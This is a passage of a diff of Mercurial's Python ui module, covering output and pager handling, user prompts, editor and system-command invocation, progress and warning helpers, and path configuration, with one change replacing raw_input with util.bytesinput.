878 878 (util.timer() - starttime) * 1000
879 879
880 880 def write_err(self, *args, **opts):
881 881 self._progclear()
882 882 if self._bufferstates and self._bufferstates[-1][0]:
883 883 self.write(*args, **opts)
884 884 elif self._colormode == 'win32':
885 885 # windows color printing is its own can of crab, defer to
886 886 # the color module and that is it.
887 887 color.win32print(self, self._write_err, *args, **opts)
888 888 else:
889 889 msgs = args
890 890 if self._colormode is not None:
891 891 label = opts.get('label', '')
892 892 msgs = [self.label(a, label) for a in args]
893 893 self._write_err(*msgs, **opts)
894 894
895 895 def _write_err(self, *msgs, **opts):
896 896 try:
897 897 with self.timeblockedsection('stdio'):
898 898 if not getattr(self.fout, 'closed', False):
899 899 self.fout.flush()
900 900 for a in msgs:
901 901 self.ferr.write(a)
902 902 # stderr may be buffered under win32 when redirected to files,
903 903 # including stdout.
904 904 if not getattr(self.ferr, 'closed', False):
905 905 self.ferr.flush()
906 906 except IOError as inst:
907 907 raise error.StdioError(inst)
908 908
909 909 def flush(self):
910 910 # opencode timeblockedsection because this is a critical path
911 911 starttime = util.timer()
912 912 try:
913 913 try:
914 914 self.fout.flush()
915 915 except IOError as err:
916 916 raise error.StdioError(err)
917 917 finally:
918 918 try:
919 919 self.ferr.flush()
920 920 except IOError as err:
921 921 raise error.StdioError(err)
922 922 finally:
923 923 self._blockedtimes['stdio_blocked'] += \
924 924 (util.timer() - starttime) * 1000
925 925
926 926 def _isatty(self, fh):
927 927 if self.configbool('ui', 'nontty'):
928 928 return False
929 929 return util.isatty(fh)
930 930
931 931 def disablepager(self):
932 932 self._disablepager = True
933 933
934 934 def pager(self, command):
935 935 """Start a pager for subsequent command output.
936 936
937 937 Commands which produce a long stream of output should call
938 938 this function to activate the user's preferred pagination
939 939 mechanism (which may be no pager). Calling this function
940 940 precludes any future use of interactive functionality, such as
941 941 prompting the user or activating curses.
942 942
943 943 Args:
944 944 command: The full, non-aliased name of the command. That is, "log"
945 945 not "history, "summary" not "summ", etc.
946 946 """
947 947 if (self._disablepager
948 948 or self.pageractive):
949 949 # how pager should do is already determined
950 950 return
951 951
952 952 if not command.startswith('internal-always-') and (
953 953 # explicit --pager=on (= 'internal-always-' prefix) should
954 954 # take precedence over disabling factors below
955 955 command in self.configlist('pager', 'ignore')
956 956 or not self.configbool('ui', 'paginate')
957 957 or not self.configbool('pager', 'attend-' + command, True)
958 958 # TODO: if we want to allow HGPLAINEXCEPT=pager,
959 959 # formatted() will need some adjustment.
960 960 or not self.formatted()
961 961 or self.plain()
962 962 # TODO: expose debugger-enabled on the UI object
963 963 or '--debugger' in pycompat.sysargv):
964 964 # We only want to paginate if the ui appears to be
965 965 # interactive, the user didn't say HGPLAIN or
966 966 # HGPLAINEXCEPT=pager, and the user didn't specify --debug.
967 967 return
968 968
969 969 pagercmd = self.config('pager', 'pager', rcutil.fallbackpager)
970 970 if not pagercmd:
971 971 return
972 972
973 973 pagerenv = {}
974 974 for name, value in rcutil.defaultpagerenv().items():
975 975 if name not in encoding.environ:
976 976 pagerenv[name] = value
977 977
978 978 self.debug('starting pager for command %r\n' % command)
979 979 self.flush()
980 980
981 981 wasformatted = self.formatted()
982 982 if util.safehasattr(signal, "SIGPIPE"):
983 983 signal.signal(signal.SIGPIPE, _catchterm)
984 984 if self._runpager(pagercmd, pagerenv):
985 985 self.pageractive = True
986 986 # Preserve the formatted-ness of the UI. This is important
987 987 # because we mess with stdout, which might confuse
988 988 # auto-detection of things being formatted.
989 989 self.setconfig('ui', 'formatted', wasformatted, 'pager')
990 990 self.setconfig('ui', 'interactive', False, 'pager')
991 991
992 992 # If pagermode differs from color.mode, reconfigure color now that
993 993 # pageractive is set.
994 994 cm = self._colormode
995 995 if cm != self.config('color', 'pagermode', cm):
996 996 color.setup(self)
997 997 else:
998 998 # If the pager can't be spawned in dispatch when --pager=on is
999 999 # given, don't try again when the command runs, to avoid a duplicate
1000 1000 # warning about a missing pager command.
1001 1001 self.disablepager()
1002 1002
1003 1003 def _runpager(self, command, env=None):
1004 1004 """Actually start the pager and set up file descriptors.
1005 1005
1006 1006 This is separate in part so that extensions (like chg) can
1007 1007 override how a pager is invoked.
1008 1008 """
1009 1009 if command == 'cat':
1010 1010 # Save ourselves some work.
1011 1011 return False
1012 1012 # If the command doesn't contain any of these characters, we
1013 1013 # assume it's a binary and exec it directly. This means for
1014 1014 # simple pager command configurations, we can degrade
1015 1015 # gracefully and tell the user about their broken pager.
1016 1016 shell = any(c in command for c in "|&;<>()$`\\\"' \t\n*?[#~=%")
1017 1017
1018 1018 if pycompat.osname == 'nt' and not shell:
1019 1019 # Window's built-in `more` cannot be invoked with shell=False, but
1020 1020 # its `more.com` can. Hide this implementation detail from the
1021 1021 # user so we can also get sane bad PAGER behavior. MSYS has
1022 1022 # `more.exe`, so do a cmd.exe style resolution of the executable to
1023 1023 # determine which one to use.
1024 1024 fullcmd = util.findexe(command)
1025 1025 if not fullcmd:
1026 1026 self.warn(_("missing pager command '%s', skipping pager\n")
1027 1027 % command)
1028 1028 return False
1029 1029
1030 1030 command = fullcmd
1031 1031
1032 1032 try:
1033 1033 pager = subprocess.Popen(
1034 1034 command, shell=shell, bufsize=-1,
1035 1035 close_fds=util.closefds, stdin=subprocess.PIPE,
1036 1036 stdout=util.stdout, stderr=util.stderr,
1037 1037 env=util.shellenviron(env))
1038 1038 except OSError as e:
1039 1039 if e.errno == errno.ENOENT and not shell:
1040 1040 self.warn(_("missing pager command '%s', skipping pager\n")
1041 1041 % command)
1042 1042 return False
1043 1043 raise
1044 1044
1045 1045 # back up original file descriptors
1046 1046 stdoutfd = os.dup(util.stdout.fileno())
1047 1047 stderrfd = os.dup(util.stderr.fileno())
1048 1048
1049 1049 os.dup2(pager.stdin.fileno(), util.stdout.fileno())
1050 1050 if self._isatty(util.stderr):
1051 1051 os.dup2(pager.stdin.fileno(), util.stderr.fileno())
1052 1052
1053 1053 @self.atexit
1054 1054 def killpager():
1055 1055 if util.safehasattr(signal, "SIGINT"):
1056 1056 signal.signal(signal.SIGINT, signal.SIG_IGN)
1057 1057 # restore original fds, closing pager.stdin copies in the process
1058 1058 os.dup2(stdoutfd, util.stdout.fileno())
1059 1059 os.dup2(stderrfd, util.stderr.fileno())
1060 1060 pager.stdin.close()
1061 1061 pager.wait()
1062 1062
1063 1063 return True
1064 1064
1065 1065 def atexit(self, func, *args, **kwargs):
1066 1066 '''register a function to run after dispatching a request
1067 1067
1068 1068 Handlers do not stay registered across request boundaries.'''
1069 1069 self._exithandlers.append((func, args, kwargs))
1070 1070 return func
1071 1071
1072 1072 def interface(self, feature):
1073 1073 """what interface to use for interactive console features?
1074 1074
1075 1075 The interface is controlled by the value of `ui.interface` but also by
1076 1076 the value of feature-specific configuration. For example:
1077 1077
1078 1078 ui.interface.histedit = text
1079 1079 ui.interface.chunkselector = curses
1080 1080
1081 1081 Here the features are "histedit" and "chunkselector".
1082 1082
1083 1083 The configuration above means that the default interfaces for commands
1084 1084 is curses, the interface for histedit is text and the interface for
1085 1085 selecting chunk is crecord (the best curses interface available).
1086 1086
1087 1087 Consider the following example:
1088 1088 ui.interface = curses
1089 1089 ui.interface.histedit = text
1090 1090
1091 1091 Then histedit will use the text interface and chunkselector will use
1092 1092 the default curses interface (crecord at the moment).
1093 1093 """
1094 1094 alldefaults = frozenset(["text", "curses"])
1095 1095
1096 1096 featureinterfaces = {
1097 1097 "chunkselector": [
1098 1098 "text",
1099 1099 "curses",
1100 1100 ]
1101 1101 }
1102 1102
1103 1103 # Feature-specific interface
1104 1104 if feature not in featureinterfaces.keys():
1105 1105 # Programming error, not user error
1106 1106 raise ValueError("Unknown feature requested %s" % feature)
1107 1107
1108 1108 availableinterfaces = frozenset(featureinterfaces[feature])
1109 1109 if alldefaults > availableinterfaces:
1110 1110 # Programming error, not user error. We need a use case to
1111 1111 # define the right thing to do here.
1112 1112 raise ValueError(
1113 1113 "Feature %s does not handle all default interfaces" %
1114 1114 feature)
1115 1115
1116 1116 if self.plain():
1117 1117 return "text"
1118 1118
1119 1119 # Default interface for all the features
1120 1120 defaultinterface = "text"
1121 1121 i = self.config("ui", "interface")
1122 1122 if i in alldefaults:
1123 1123 defaultinterface = i
1124 1124
1125 1125 choseninterface = defaultinterface
1126 1126 f = self.config("ui", "interface.%s" % feature, None)
1127 1127 if f in availableinterfaces:
1128 1128 choseninterface = f
1129 1129
1130 1130 if i is not None and defaultinterface != i:
1131 1131 if f is not None:
1132 1132 self.warn(_("invalid value for ui.interface: %s\n") %
1133 1133 (i,))
1134 1134 else:
1135 1135 self.warn(_("invalid value for ui.interface: %s (using %s)\n") %
1136 1136 (i, choseninterface))
1137 1137 if f is not None and choseninterface != f:
1138 1138 self.warn(_("invalid value for ui.interface.%s: %s (using %s)\n") %
1139 1139 (feature, f, choseninterface))
1140 1140
1141 1141 return choseninterface
1142 1142
1143 1143 def interactive(self):
1144 1144 '''is interactive input allowed?
1145 1145
1146 1146 An interactive session is a session where input can be reasonably read
1147 1147 from `sys.stdin'. If this function returns false, any attempt to read
1148 1148 from stdin should fail with an error, unless a sensible default has been
1149 1149 specified.
1150 1150
1151 1151 Interactiveness is triggered by the value of the `ui.interactive'
1152 1152 configuration variable or - if it is unset - when `sys.stdin' points
1153 1153 to a terminal device.
1154 1154
1155 1155 This function refers to input only; for output, see `ui.formatted()'.
1156 1156 '''
1157 1157 i = self.configbool("ui", "interactive")
1158 1158 if i is None:
1159 1159 # some environments replace stdin without implementing isatty
1160 1160 # usually those are non-interactive
1161 1161 return self._isatty(self.fin)
1162 1162
1163 1163 return i
1164 1164
1165 1165 def termwidth(self):
1166 1166 '''how wide is the terminal in columns?
1167 1167 '''
1168 1168 if 'COLUMNS' in encoding.environ:
1169 1169 try:
1170 1170 return int(encoding.environ['COLUMNS'])
1171 1171 except ValueError:
1172 1172 pass
1173 1173 return scmutil.termsize(self)[0]
1174 1174
1175 1175 def formatted(self):
1176 1176 '''should formatted output be used?
1177 1177
1178 1178 It is often desirable to format the output to suite the output medium.
1179 1179 Examples of this are truncating long lines or colorizing messages.
1180 1180 However, this is not often not desirable when piping output into other
1181 1181 utilities, e.g. `grep'.
1182 1182
1183 1183 Formatted output is triggered by the value of the `ui.formatted'
1184 1184 configuration variable or - if it is unset - when `sys.stdout' points
1185 1185 to a terminal device. Please note that `ui.formatted' should be
1186 1186 considered an implementation detail; it is not intended for use outside
1187 1187 Mercurial or its extensions.
1188 1188
1189 1189 This function refers to output only; for input, see `ui.interactive()'.
1190 1190 This function always returns false when in plain mode, see `ui.plain()'.
1191 1191 '''
1192 1192 if self.plain():
1193 1193 return False
1194 1194
1195 1195 i = self.configbool("ui", "formatted")
1196 1196 if i is None:
1197 1197 # some environments replace stdout without implementing isatty
1198 1198 # usually those are non-interactive
1199 1199 return self._isatty(self.fout)
1200 1200
1201 1201 return i
1202 1202
1203 1203 def _readline(self, prompt=''):
1204 1204 if self._isatty(self.fin):
1205 1205 try:
1206 1206 # magically add command line editing support, where
1207 1207 # available
1208 1208 import readline
1209 1209 # force demandimport to really load the module
1210 1210 readline.read_history_file
1211 1211 # windows sometimes raises something other than ImportError
1212 1212 except Exception:
1213 1213 pass
1214 1214
1215 1215 # call write() so output goes through subclassed implementation
1216 1216 # e.g. color extension on Windows
1217 1217 self.write(prompt, prompt=True)
1218 1218 self.flush()
1219 1219
1220 # instead of trying to emulate raw_input, swap (self.fin,
1221 # self.fout) with (sys.stdin, sys.stdout)
1222 oldin = sys.stdin
1223 oldout = sys.stdout
1224 sys.stdin = self.fin
1225 sys.stdout = self.fout
1226 1220 # prompt ' ' must exist; otherwise readline may delete entire line
1227 1221 # - http://bugs.python.org/issue12833
1228 1222 with self.timeblockedsection('stdio'):
1229 line = raw_input(' ')
1230 sys.stdin = oldin
1231 sys.stdout = oldout
1223 line = util.bytesinput(self.fin, self.fout, r' ')
1232 1224
1233 1225 # When stdin is in binary mode on Windows, it can cause
1234 1226 # raw_input() to emit an extra trailing carriage return
1235 1227 if pycompat.oslinesep == '\r\n' and line and line[-1] == '\r':
1236 1228 line = line[:-1]
1237 1229 return line
1238 1230
1239 1231 def prompt(self, msg, default="y"):
1240 1232 """Prompt user with msg, read response.
1241 1233 If ui is not interactive, the default is returned.
1242 1234 """
1243 1235 if not self.interactive():
1244 1236 self.write(msg, ' ', default or '', "\n")
1245 1237 return default
1246 1238 try:
1247 1239 r = self._readline(self.label(msg, 'ui.prompt'))
1248 1240 if not r:
1249 1241 r = default
1250 1242 if self.configbool('ui', 'promptecho'):
1251 1243 self.write(r, "\n")
1252 1244 return r
1253 1245 except EOFError:
1254 1246 raise error.ResponseExpected()
1255 1247
1256 1248 @staticmethod
1257 1249 def extractchoices(prompt):
1258 1250 """Extract prompt message and list of choices from specified prompt.
1259 1251
1260 1252 This returns tuple "(message, choices)", and "choices" is the
1261 1253 list of tuple "(response character, text without &)".
1262 1254
1263 1255 >>> ui.extractchoices("awake? $$ &Yes $$ &No")
1264 1256 ('awake? ', [('y', 'Yes'), ('n', 'No')])
1265 1257 >>> ui.extractchoices("line\\nbreak? $$ &Yes $$ &No")
1266 1258 ('line\\nbreak? ', [('y', 'Yes'), ('n', 'No')])
1267 1259 >>> ui.extractchoices("want lots of $$money$$?$$Ye&s$$N&o")
1268 1260 ('want lots of $$money$$?', [('s', 'Yes'), ('o', 'No')])
1269 1261 """
1270 1262
1271 1263 # Sadly, the prompt string may have been built with a filename
1272 1264 # containing "$$" so let's try to find the first valid-looking
1273 1265 # prompt to start parsing. Sadly, we also can't rely on
1274 1266 # choices containing spaces, ASCII, or basically anything
1275 1267 # except an ampersand followed by a character.
1276 1268 m = re.match(br'(?s)(.+?)\$\$([^\$]*&[^ \$].*)', prompt)
1277 1269 msg = m.group(1)
1278 1270 choices = [p.strip(' ') for p in m.group(2).split('$$')]
1279 1271 def choicetuple(s):
1280 1272 ampidx = s.index('&')
1281 1273 return s[ampidx + 1:ampidx + 2].lower(), s.replace('&', '', 1)
1282 1274 return (msg, [choicetuple(s) for s in choices])
1283 1275
1284 1276 def promptchoice(self, prompt, default=0):
1285 1277 """Prompt user with a message, read response, and ensure it matches
1286 1278 one of the provided choices. The prompt is formatted as follows:
1287 1279
1288 1280 "would you like fries with that (Yn)? $$ &Yes $$ &No"
1289 1281
1290 1282 The index of the choice is returned. Responses are case
1291 1283 insensitive. If ui is not interactive, the default is
1292 1284 returned.
1293 1285 """
1294 1286
1295 1287 msg, choices = self.extractchoices(prompt)
1296 1288 resps = [r for r, t in choices]
1297 1289 while True:
1298 1290 r = self.prompt(msg, resps[default])
1299 1291 if r.lower() in resps:
1300 1292 return resps.index(r.lower())
1301 1293 self.write(_("unrecognized response\n"))
1302 1294
1303 1295 def getpass(self, prompt=None, default=None):
1304 1296 if not self.interactive():
1305 1297 return default
1306 1298 try:
1307 1299 self.write_err(self.label(prompt or _('password: '), 'ui.prompt'))
1308 1300 # disable getpass() only if explicitly specified. it's still valid
1309 1301 # to interact with tty even if fin is not a tty.
1310 1302 with self.timeblockedsection('stdio'):
1311 1303 if self.configbool('ui', 'nontty'):
1312 1304 l = self.fin.readline()
1313 1305 if not l:
1314 1306 raise EOFError
1315 1307 return l.rstrip('\n')
1316 1308 else:
1317 1309 return getpass.getpass('')
1318 1310 except EOFError:
1319 1311 raise error.ResponseExpected()
1320 1312 def status(self, *msg, **opts):
1321 1313 '''write status message to output (if ui.quiet is False)
1322 1314
1323 1315 This adds an output label of "ui.status".
1324 1316 '''
1325 1317 if not self.quiet:
1326 1318 opts[r'label'] = opts.get(r'label', '') + ' ui.status'
1327 1319 self.write(*msg, **opts)
1328 1320 def warn(self, *msg, **opts):
1329 1321 '''write warning message to output (stderr)
1330 1322
1331 1323 This adds an output label of "ui.warning".
1332 1324 '''
1333 1325 opts[r'label'] = opts.get(r'label', '') + ' ui.warning'
1334 1326 self.write_err(*msg, **opts)
1335 1327 def note(self, *msg, **opts):
1336 1328 '''write note to output (if ui.verbose is True)
1337 1329
1338 1330 This adds an output label of "ui.note".
1339 1331 '''
1340 1332 if self.verbose:
1341 1333 opts[r'label'] = opts.get(r'label', '') + ' ui.note'
1342 1334 self.write(*msg, **opts)
1343 1335 def debug(self, *msg, **opts):
1344 1336 '''write debug message to output (if ui.debugflag is True)
1345 1337
1346 1338 This adds an output label of "ui.debug".
1347 1339 '''
1348 1340 if self.debugflag:
1349 1341 opts[r'label'] = opts.get(r'label', '') + ' ui.debug'
1350 1342 self.write(*msg, **opts)
1351 1343
1352 1344 def edit(self, text, user, extra=None, editform=None, pending=None,
1353 1345 repopath=None):
1354 1346 extra_defaults = {
1355 1347 'prefix': 'editor',
1356 1348 'suffix': '.txt',
1357 1349 }
1358 1350 if extra is not None:
1359 1351 extra_defaults.update(extra)
1360 1352 extra = extra_defaults
1361 1353
1362 1354 rdir = None
1363 1355 if self.configbool('experimental', 'editortmpinhg'):
1364 1356 rdir = repopath
1365 1357 (fd, name) = tempfile.mkstemp(prefix='hg-' + extra['prefix'] + '-',
1366 1358 suffix=extra['suffix'],
1367 1359 dir=rdir)
1368 1360 try:
1369 1361 f = os.fdopen(fd, r'wb')
1370 1362 f.write(util.tonativeeol(text))
1371 1363 f.close()
1372 1364
1373 1365 environ = {'HGUSER': user}
1374 1366 if 'transplant_source' in extra:
1375 1367 environ.update({'HGREVISION': hex(extra['transplant_source'])})
1376 1368 for label in ('intermediate-source', 'source', 'rebase_source'):
1377 1369 if label in extra:
1378 1370 environ.update({'HGREVISION': extra[label]})
1379 1371 break
1380 1372 if editform:
1381 1373 environ.update({'HGEDITFORM': editform})
1382 1374 if pending:
1383 1375 environ.update({'HG_PENDING': pending})
1384 1376
1385 1377 editor = self.geteditor()
1386 1378
1387 1379 self.system("%s \"%s\"" % (editor, name),
1388 1380 environ=environ,
1389 1381 onerr=error.Abort, errprefix=_("edit failed"),
1390 1382 blockedtag='editor')
1391 1383
1392 1384 f = open(name, r'rb')
1393 1385 t = util.fromnativeeol(f.read())
1394 1386 f.close()
1395 1387 finally:
1396 1388 os.unlink(name)
1397 1389
1398 1390 return t
1399 1391
1400 1392 def system(self, cmd, environ=None, cwd=None, onerr=None, errprefix=None,
1401 1393 blockedtag=None):
1402 1394 '''execute shell command with appropriate output stream. command
1403 1395 output will be redirected if fout is not stdout.
1404 1396
1405 1397 if command fails and onerr is None, return status, else raise onerr
1406 1398 object as exception.
1407 1399 '''
1408 1400 if blockedtag is None:
1409 1401 # Long cmds tend to be because of an absolute path on cmd. Keep
1410 1402 # the tail end instead
1411 1403 cmdsuffix = cmd.translate(None, _keepalnum)[-85:]
1412 1404 blockedtag = 'unknown_system_' + cmdsuffix
1413 1405 out = self.fout
1414 1406 if any(s[1] for s in self._bufferstates):
1415 1407 out = self
1416 1408 with self.timeblockedsection(blockedtag):
1417 1409 rc = self._runsystem(cmd, environ=environ, cwd=cwd, out=out)
1418 1410 if rc and onerr:
1419 1411 errmsg = '%s %s' % (os.path.basename(cmd.split(None, 1)[0]),
1420 1412 util.explainexit(rc)[0])
1421 1413 if errprefix:
1422 1414 errmsg = '%s: %s' % (errprefix, errmsg)
1423 1415 raise onerr(errmsg)
1424 1416 return rc
1425 1417
1426 1418 def _runsystem(self, cmd, environ, cwd, out):
1427 1419 """actually execute the given shell command (can be overridden by
1428 1420 extensions like chg)"""
1429 1421 return util.system(cmd, environ=environ, cwd=cwd, out=out)
1430 1422
1431 1423 def traceback(self, exc=None, force=False):
1432 1424 '''print exception traceback if traceback printing enabled or forced.
1433 1425 only to call in exception handler. returns true if traceback
1434 1426 printed.'''
1435 1427 if self.tracebackflag or force:
1436 1428 if exc is None:
1437 1429 exc = sys.exc_info()
1438 1430 cause = getattr(exc[1], 'cause', None)
1439 1431
1440 1432 if cause is not None:
1441 1433 causetb = traceback.format_tb(cause[2])
1442 1434 exctb = traceback.format_tb(exc[2])
1443 1435 exconly = traceback.format_exception_only(cause[0], cause[1])
1444 1436
1445 1437 # exclude frame where 'exc' was chained and rethrown from exctb
1446 1438 self.write_err('Traceback (most recent call last):\n',
1447 1439 ''.join(exctb[:-1]),
1448 1440 ''.join(causetb),
1449 1441 ''.join(exconly))
1450 1442 else:
1451 1443 output = traceback.format_exception(exc[0], exc[1], exc[2])
1452 1444 data = r''.join(output)
1453 1445 if pycompat.ispy3:
1454 1446 enc = pycompat.sysstr(encoding.encoding)
1455 1447 data = data.encode(enc, errors=r'replace')
1456 1448 self.write_err(data)
1457 1449 return self.tracebackflag or force
1458 1450
1459 1451 def geteditor(self):
1460 1452 '''return editor to use'''
1461 1453 if pycompat.sysplatform == 'plan9':
1462 1454 # vi is the MIPS instruction simulator on Plan 9. We
1463 1455 # instead default to E to plumb commit messages to
1464 1456 # avoid confusion.
1465 1457 editor = 'E'
1466 1458 else:
1467 1459 editor = 'vi'
1468 1460 return (encoding.environ.get("HGEDITOR") or
1469 1461 self.config("ui", "editor", editor))
1470 1462
1471 1463 @util.propertycache
1472 1464 def _progbar(self):
1473 1465 """setup the progbar singleton to the ui object"""
1474 1466 if (self.quiet or self.debugflag
1475 1467 or self.configbool('progress', 'disable')
1476 1468 or not progress.shouldprint(self)):
1477 1469 return None
1478 1470 return getprogbar(self)
1479 1471
1480 1472 def _progclear(self):
1481 1473 """clear progress bar output if any. use it before any output"""
1482 1474 if '_progbar' not in vars(self): # nothing loaded yet
1483 1475 return
1484 1476 if self._progbar is not None and self._progbar.printed:
1485 1477 self._progbar.clear()
1486 1478
1487 1479 def progress(self, topic, pos, item="", unit="", total=None):
1488 1480 '''show a progress message
1489 1481
1490 1482 By default a textual progress bar will be displayed if an operation
1491 1483 takes too long. 'topic' is the current operation, 'item' is a
1492 1484 non-numeric marker of the current position (i.e. the currently
1493 1485 in-process file), 'pos' is the current numeric position (i.e.
1494 1486 revision, bytes, etc.), unit is a corresponding unit label,
1495 1487 and total is the highest expected pos.
1496 1488
1497 1489 Multiple nested topics may be active at a time.
1498 1490
1499 1491 All topics should be marked closed by setting pos to None at
1500 1492 termination.
1501 1493 '''
1502 1494 if self._progbar is not None:
1503 1495 self._progbar.progress(topic, pos, item=item, unit=unit,
1504 1496 total=total)
1505 1497 if pos is None or not self.configbool('progress', 'debug'):
1506 1498 return
1507 1499
1508 1500 if unit:
1509 1501 unit = ' ' + unit
1510 1502 if item:
1511 1503 item = ' ' + item
1512 1504
1513 1505 if total:
1514 1506 pct = 100.0 * pos / total
1515 1507 self.debug('%s:%s %s/%s%s (%4.2f%%)\n'
1516 1508 % (topic, item, pos, total, unit, pct))
1517 1509 else:
1518 1510 self.debug('%s:%s %s%s\n' % (topic, item, pos, unit))
1519 1511
1520 1512 def log(self, service, *msg, **opts):
1521 1513 '''hook for logging facility extensions
1522 1514
1523 1515 service should be a readily-identifiable subsystem, which will
1524 1516 allow filtering.
1525 1517
1526 1518 *msg should be a newline-terminated format string to log, and
1527 1519 then any values to %-format into that format string.
1528 1520
1529 1521 **opts currently has no defined meanings.
1530 1522 '''
1531 1523
1532 1524 def label(self, msg, label):
1533 1525 '''style msg based on supplied label
1534 1526
1535 1527 If some color mode is enabled, this will add the necessary control
1536 1528 characters to apply such color. In addition, 'debug' color mode adds
1537 1529 markup showing which label affects a piece of text.
1538 1530
1539 1531 ui.write(s, 'label') is equivalent to
1540 1532 ui.write(ui.label(s, 'label')).
1541 1533 '''
1542 1534 if self._colormode is not None:
1543 1535 return color.colorlabel(self, msg, label)
1544 1536 return msg
1545 1537
1546 1538 def develwarn(self, msg, stacklevel=1, config=None):
1547 1539 """issue a developer warning message
1548 1540
1549 1541 Use 'stacklevel' to report the offender some layers further up in the
1550 1542 stack.
1551 1543 """
1552 1544 if not self.configbool('devel', 'all-warnings'):
1553 1545 if config is not None and not self.configbool('devel', config):
1554 1546 return
1555 1547 msg = 'devel-warn: ' + msg
1556 1548 stacklevel += 1 # get in develwarn
1557 1549 if self.tracebackflag:
1558 1550 util.debugstacktrace(msg, stacklevel, self.ferr, self.fout)
1559 1551 self.log('develwarn', '%s at:\n%s' %
1560 1552 (msg, ''.join(util.getstackframes(stacklevel))))
1561 1553 else:
1562 1554 curframe = inspect.currentframe()
1563 1555 calframe = inspect.getouterframes(curframe, 2)
1564 1556 self.write_err('%s at: %s:%s (%s)\n'
1565 1557 % ((msg,) + calframe[stacklevel][1:4]))
1566 1558 self.log('develwarn', '%s at: %s:%s (%s)\n',
1567 1559 msg, *calframe[stacklevel][1:4])
1568 1560 curframe = calframe = None # avoid cycles
1569 1561
1570 1562 def deprecwarn(self, msg, version):
1571 1563 """issue a deprecation warning
1572 1564
1573 1565 - msg: message explaining what is deprecated and how to upgrade,
1574 1566 - version: last version where the API will be supported,
1575 1567 """
1576 1568 if not (self.configbool('devel', 'all-warnings')
1577 1569 or self.configbool('devel', 'deprec-warn')):
1578 1570 return
1579 1571 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
1580 1572 " update your code.)") % version
1581 1573 self.develwarn(msg, stacklevel=2, config='deprec-warn')
1582 1574
1583 1575 def exportableenviron(self):
1584 1576 """The environment variables that are safe to export, e.g. through
1585 1577 hgweb.
1586 1578 """
1587 1579 return self._exportableenviron
1588 1580
1589 1581 @contextlib.contextmanager
1590 1582 def configoverride(self, overrides, source=""):
1591 1583 """Context manager for temporary config overrides
1592 1584 `overrides` must be a dict of the following structure:
1593 1585 {(section, name) : value}"""
1594 1586 backups = {}
1595 1587 try:
1596 1588 for (section, name), value in overrides.items():
1597 1589 backups[(section, name)] = self.backupconfig(section, name)
1598 1590 self.setconfig(section, name, value, source)
1599 1591 yield
1600 1592 finally:
1601 1593 for __, backup in backups.items():
1602 1594 self.restoreconfig(backup)
1603 1595 # just restoring ui.quiet config to the previous value is not enough
1604 1596 # as it does not update ui.quiet class member
1605 1597 if ('ui', 'quiet') in overrides:
1606 1598 self.fixconfig(section='ui')
1607 1599
1608 1600 class paths(dict):
1609 1601 """Represents a collection of paths and their configs.
1610 1602
1611 1603 Data is initially derived from ui instances and the config files they have
1612 1604 loaded.
1613 1605 """
1614 1606 def __init__(self, ui):
1615 1607 dict.__init__(self)
1616 1608
1617 1609 for name, loc in ui.configitems('paths', ignoresub=True):
1618 1610 # No location is the same as not existing.
1619 1611 if not loc:
1620 1612 continue
1621 1613 loc, sub = ui.configsuboptions('paths', name)
1622 1614 self[name] = path(ui, name, rawloc=loc, suboptions=sub)
1623 1615
1624 1616 def getpath(self, name, default=None):
1625 1617 """Return a ``path`` from a string, falling back to default.
1626 1618
1627 1619 ``name`` can be a named path or locations. Locations are filesystem
1628 1620 paths or URIs.
1629 1621
1630 1622 Returns None if ``name`` is not a registered path, a URI, or a local
1631 1623 path to a repo.
1632 1624 """
1633 1625 # Only fall back to default if no path was requested.
1634 1626 if name is None:
1635 1627 if not default:
1636 1628 default = ()
1637 1629 elif not isinstance(default, (tuple, list)):
1638 1630 default = (default,)
1639 1631 for k in default:
1640 1632 try:
1641 1633 return self[k]
1642 1634 except KeyError:
1643 1635 continue
1644 1636 return None
1645 1637
1646 1638 # Most likely empty string.
1647 1639 # This may need to raise in the future.
1648 1640 if not name:
1649 1641 return None
1650 1642
1651 1643 try:
1652 1644 return self[name]
1653 1645 except KeyError:
1654 1646 # Try to resolve as a local path or URI.
1655 1647 try:
1656 1648 # We don't pass sub-options in, so no need to pass ui instance.
1657 1649 return path(None, None, rawloc=name)
1658 1650 except ValueError:
1659 1651 raise error.RepoError(_('repository %s does not exist') %
1660 1652 name)
1661 1653
1662 1654 _pathsuboptions = {}
1663 1655
1664 1656 def pathsuboption(option, attr):
1665 1657 """Decorator used to declare a path sub-option.
1666 1658
1667 1659 Arguments are the sub-option name and the attribute it should set on
1668 1660 ``path`` instances.
1669 1661
1670 1662 The decorated function will receive as arguments a ``ui`` instance,
1671 1663 ``path`` instance, and the string value of this option from the config.
1672 1664 The function should return the value that will be set on the ``path``
1673 1665 instance.
1674 1666
1675 1667 This decorator can be used to perform additional verification of
1676 1668 sub-options and to change the type of sub-options.
1677 1669 """
1678 1670 def register(func):
1679 1671 _pathsuboptions[option] = (attr, func)
1680 1672 return func
1681 1673 return register
1682 1674
1683 1675 @pathsuboption('pushurl', 'pushloc')
1684 1676 def pushurlpathoption(ui, path, value):
1685 1677 u = util.url(value)
1686 1678 # Actually require a URL.
1687 1679 if not u.scheme:
1688 1680 ui.warn(_('(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
1689 1681 return None
1690 1682
1691 1683 # Don't support the #foo syntax in the push URL to declare branch to
1692 1684 # push.
1693 1685 if u.fragment:
1694 1686 ui.warn(_('("#fragment" in paths.%s:pushurl not supported; '
1695 1687 'ignoring)\n') % path.name)
1696 1688 u.fragment = None
1697 1689
1698 1690 return str(u)
1699 1691
1700 1692 @pathsuboption('pushrev', 'pushrev')
1701 1693 def pushrevpathoption(ui, path, value):
1702 1694 return value
1703 1695
1704 1696 class path(object):
1705 1697 """Represents an individual path and its configuration."""
1706 1698
1707 1699 def __init__(self, ui, name, rawloc=None, suboptions=None):
1708 1700 """Construct a path from its config options.
1709 1701
1710 1702 ``ui`` is the ``ui`` instance the path is coming from.
1711 1703 ``name`` is the symbolic name of the path.
1712 1704 ``rawloc`` is the raw location, as defined in the config.
1713 1705 ``pushloc`` is the raw locations pushes should be made to.
1714 1706
1715 1707 If ``name`` is not defined, we require that the location be a) a local
1716 1708 filesystem path with a .hg directory or b) a URL. If not,
1717 1709 ``ValueError`` is raised.
1718 1710 """
1719 1711 if not rawloc:
1720 1712 raise ValueError('rawloc must be defined')
1721 1713
1722 1714 # Locations may define branches via syntax <base>#<branch>.
1723 1715 u = util.url(rawloc)
1724 1716 branch = None
1725 1717 if u.fragment:
1726 1718 branch = u.fragment
1727 1719 u.fragment = None
1728 1720
1729 1721 self.url = u
